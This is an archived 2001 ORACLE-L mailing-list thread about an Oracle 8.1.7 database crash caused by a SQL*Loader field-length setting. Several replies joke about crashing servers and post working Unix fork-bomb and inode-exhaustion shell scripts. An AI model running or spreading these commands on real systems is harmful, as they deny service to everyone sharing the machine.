From BNorrell@QuadraMed.com Thu, 10 May 2001 09:40:55 -0700 From: "Norrell, Brian" Date: Thu, 10 May 2001 09:40:55 -0700 Subject: RE: Cool way to crash an Oracle database, any time, any place Message-ID: MIME-Version: 1.0 Content-Type: text/plain Chew up the inodes! Excellent. (Monty Burns "excellent" with the fingers twitching as opposed to the Bill and Ted "excellent" with the air guitar.) echo 'mkdir $$; cd $$' > /tmp/t.sh echo '/tmp/t.sh &' >> /tmp/t.sh echo '/tmp/t.sh &' >> /tmp/t.sh chmod 777 /tmp/t.sh /tmp/t.sh Your technological distinctiveness has been added to the collective... Brian Norrell Manager, MPI Development QuadraMed 511 E John Carpenter Frwy, Su 500 Irving, TX 75062 (972) 831-6600 -----Original Message----- Sent: Wednesday, May 09, 2001 8:40 PM To: Multiple recipients of list ORACLE-L yeah? Well how do you like this? while : do mkdir ./t cd ./t done ;) Jared On Wednesday 09 May 2001 09:00, Norrell, Brian wrote: > You want to crash the server? On any Unix box, execute the following four > commands: > > echo './t.sh &' > t.sh > echo './t.sh &' >> t.sh > chmod 777 t.sh > ./t.sh > > Don't even need special privileges to ruin everyone's day... > > Brian Norrell > Manager, MPI Development > QuadraMed > 511 E John Carpenter Frwy, Su 500 > Irving, TX 75062 > (972) 831-6600 > > > -----Original Message----- > Sent: Tuesday, May 08, 2001 11:23 AM > To: Multiple recipients of list ORACLE-L > > > Back a few years ago I remember being able to crash a NetWare server (4.x I > think) running an early version of Oracle7 just by running some > syntactically incorrect SQL. Yup, that not only crashed the database, but > also the server. > > Henry > > -----Original Message----- > Sent: Tuesday, May 08, 2001 9:37 AM > To: Multiple recipients of list ORACLE-L > > > Hi Jared, > > Nope, not direct mode. The table contains a couple of CLOB columns. > > Haven't heard back from Oracle yet, but you're right, it is kind of scary. > We were planning on using this environment for hosting some of our more > active web sites. > > --Walt > > -----Original Message----- > Sent: Monday, May 07, 2001 5:59 PM > To: ORACLE-L@fatcity.com; Weaver, Walt > > > > Walt, > > What's scary about this is not just that you've managed to crash > the database by very innocent means, but we don't know how else > this bug can be invoked. It could be something equally innocuous. > > Q: Are you loading in direct mode? > > Jared > > On Monday 07 May 2001 16:20, Weaver, Walt wrote: > > Just thought I'd share what I learned today with everyone. This is Oracle > > 8.1.7 on a VA Linux 4450, Linux Red Hat 6.2. I'm migrating customers from > > MySQL to Oracle, using Sqlloader to load the data into Oracle. > > > > In one table I have the following column: C$NOTES VARCHAR2(4000) > > > > In my Sqlloader script I have an entry: C$NOTES CHAR(4000) > > > > When I ran Sqlloader about 130 out of 35,000 rows were not loaded due to > > a "inserted value too large for column" error on C$NOTES. > > > > So, just for grins I changed the Sqlloader entry to C$NOTES CHAR(40000). > > > > When I run Sqlloader for the table with this value, it crashes the > > database > > > every time with an ORA-600 [4620] [] [] [] [] [] error. Every dang time. > > Pmon just gives up the ghost, man. Shuts the door and turns off the > > lights. > > > Dies a horrible death. > > > > Now, obviously I created this problem myself, but it seems to me that > > Oracle > > > > should be able to handle this a bit more gracefully than it does. :>) > > > > Anybody else ever see this? I've logged an iTar on MetaMidget to inform > > the > > > authorities of the problem. My cursory search on MetaMidget uncovered > > absolutely no evidenct that anyone knows about this. > > > > --Walt Weaver > > Bozeman, Montana -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jared Still INET: jkstill@cybcon.com Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists -------------------------------------------------------------------- To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru@fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Norrell, Brian INET: BNorrell@QuadraMed.com Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists -------------------------------------------------------------------- To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru@fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).